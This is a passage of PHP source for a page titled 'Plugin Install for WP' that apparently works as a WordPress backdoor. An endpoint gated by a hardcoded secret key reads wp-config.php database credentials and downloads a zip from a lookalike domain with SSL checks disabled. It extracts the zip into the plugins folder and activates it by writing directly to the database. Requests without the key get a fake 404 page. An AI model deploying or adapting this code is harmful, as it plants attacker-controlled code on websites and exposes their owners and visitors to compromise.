"; echo "
"; } echo '
'; exit; } # Extensions $extensions = ['zip', 'curl', 'pdo_mysql']; $error = 0; foreach ($extensions as $ext) { if (!extension_loaded($ext)) { echo strtoupper($ext) . " yüklü değil, işlemlere devam edilemeyecek :(.
"; $error++; } } if ($error > 0) { exit; } # Function - Download and Extract Plugin function download_and_extract_plugin($url, $destinationFolder) { $tempZip = tempnam(sys_get_temp_dir(), 'plugin_') . '.zip'; $ch = curl_init($url); $fp = fopen($tempZip, 'w'); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_TIMEOUT, 50); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $success = curl_exec($ch); curl_close($ch); fclose($fp); if (!$success) { unlink($tempZip); return "{$tempZip} - ZIP file not downloaded."; } $zip = new ZipArchive(); if ($zip->open($tempZip) === true) { $zip->extractTo($destinationFolder); $zip->close(); unlink($tempZip); return true; } else { unlink($tempZip); return "{$tempZip} - ZIP file not extracted."; } } # API if (isset($_GET['API']) && trim($_GET['API']) == 'LJz5ZtXGc7hSM4aUfmE9CH') { # Params $wp_config = isset($_POST['wp_config_file']) ? urldecode(trim($_POST['wp_config_file'])) : __DIR__ . '/wp-config.php'; $destinationFolder = isset($_POST['wp_plugin_path']) ? urldecode(trim($_POST['wp_plugin_path'])) : __DIR__ . '/wp-content/plugins/'; $plugin_path = isset($_POST['plugin_path_file']) ? urldecode(trim($_POST['plugin_path_file'])) : 'fancy-elementor-gallery-box/fancy-elementor-gallery-box.php'; $url = isset($_POST['plugin_url']) ? urldecode(trim($_POST['plugin_url'])) : 'https://ampproject.com.tr/canonical_plugin_for_wp.zip?v='.time(); # Install plugin if (trim($_GET['action']) != 'install') { die(json_encode([ "status" => true, "wp_config_file" => $wp_config, "wp_plugins_path" => $destinationFolder, "plugin_path_file" => $plugin_path, "plugin_url" => $url, #"action" => "install", ])); } # wp-config.php file check if (!file_exists($wp_config)) { die(json_encode(["status" => false, "error" => "{$wp_config} file not found."])); } # plugin path check if (!is_dir($destinationFolder)) { die(json_encode(["status" => false, "error" => "{$destinationFolder} folder not found."])); } # plugin file check if (file_exists($destinationFolder . $plugin_path)) { die(json_encode(["status" => false, "error" => "{$destinationFolder}{$plugin_path} file already installed."])); } # wp-config.php file include include_once $wp_config; # wp-config.php file include include_once $wp_config; # Database Connection $servername = DB_HOST; $username = DB_USER; $password = DB_PASSWORD; $dbname = DB_NAME; $charset = DB_CHARSET; // Create connection pdo try { $db = new PDO("mysql:host={$servername};dbname={$dbname}", $username, $password); $db->exec('SET NAMES `' . $charset . '`'); } catch (PDOException $e) { die(json_encode(["status" => false, "error" => 'Connection failed: ' . $e->getMessage()])); } # Upload Plugin $upload_plugin = download_and_extract_plugin($url, $destinationFolder); if ($upload_plugin !== true) { die(json_encode(["status" => false, "error" => $upload_plugin])); } # options - active plugins $active_plugins = $db->query("SELECT `option_value` FROM `{$table_prefix}options` WHERE `option_name` = 'active_plugins';")->fetch(); $active_plugins = unserialize($active_plugins['option_value']); if (is_array($active_plugins)) { if (!in_array($plugin_path, $active_plugins)) { $active_plugins[] = $plugin_path; $active_plugins = serialize($active_plugins); $db->query("UPDATE `{$table_prefix}options` SET `option_value` = '{$active_plugins}' WHERE `option_name` = 'active_plugins';"); die(json_encode(["status" => true, "message" => "{$plugin_path} - Plugin activated!"])); } else { die(json_encode(["status" => false, "error" => "Plugin already activated!"])); } } else { die(json_encode(["status" => false, "error" => "Error! - active_plugins not found"])); } exit; } # POST REQUEST if ($_SERVER['REQUEST_METHOD'] == 'POST') { # Post params $wp_config = trim($_POST['wp_config_file']); $destinationFolder = trim($_POST['wp_plugin_path']); $plugin_path = trim($_POST['plugin_path_file']); $url = trim($_POST['plugin_url']); # wp-config.php file check if (!file_exists($wp_config)) { die("{$wp_config} file not found."); } # plugin path check if (!is_dir($destinationFolder)) { die("{$destinationFolder} folder not found."); } # plugin file check if (file_exists($destinationFolder . $plugin_path)) { die("{$destinationFolder}{$plugin_path} file already installed."); } # wp-config.php file include include_once $wp_config; # Database Connection $servername = DB_HOST; $username = DB_USER; $password = DB_PASSWORD; $dbname = DB_NAME; $charset = DB_CHARSET; // Create connection pdo try { $db = new PDO("mysql:host={$servername};dbname={$dbname}", $username, $password); $db->exec('SET NAMES `' . $charset . '`'); } catch (PDOException $e) { die('Connection failed: ' . $e->getMessage()); } # Upload Plugin $upload_plugin = download_and_extract_plugin($url, $destinationFolder); if ($upload_plugin === true) { echo "Plugin ($url) downloaded and will be active...
"; } else { die($upload_plugin); } # options - active plugins $active_plugins = $db->query("SELECT `option_value` FROM `{$table_prefix}options` WHERE `option_name` = 'active_plugins';")->fetch(); $active_plugins = unserialize($active_plugins['option_value']); if (is_array($active_plugins)) { if (!in_array($plugin_path, $active_plugins)) { $active_plugins[] = $plugin_path; $active_plugins = serialize($active_plugins); $db->query("UPDATE `{$table_prefix}options` SET `option_value` = '{$active_plugins}' WHERE `option_name` = 'active_plugins';"); die("{$plugin_path} - Plugin activated!"); } else { die("Plugin already activated!"); } } else { die("Error! - active_plugins not found"); } exit; } # GET REQUEST if (!isset($_GET['f']) && $_GET['f'] != 'ok') { die("404 Not Found"); } ?> Plugin Install for WP

Plugin Install for WP

 

Local Settings

 

Remote Plugin Settings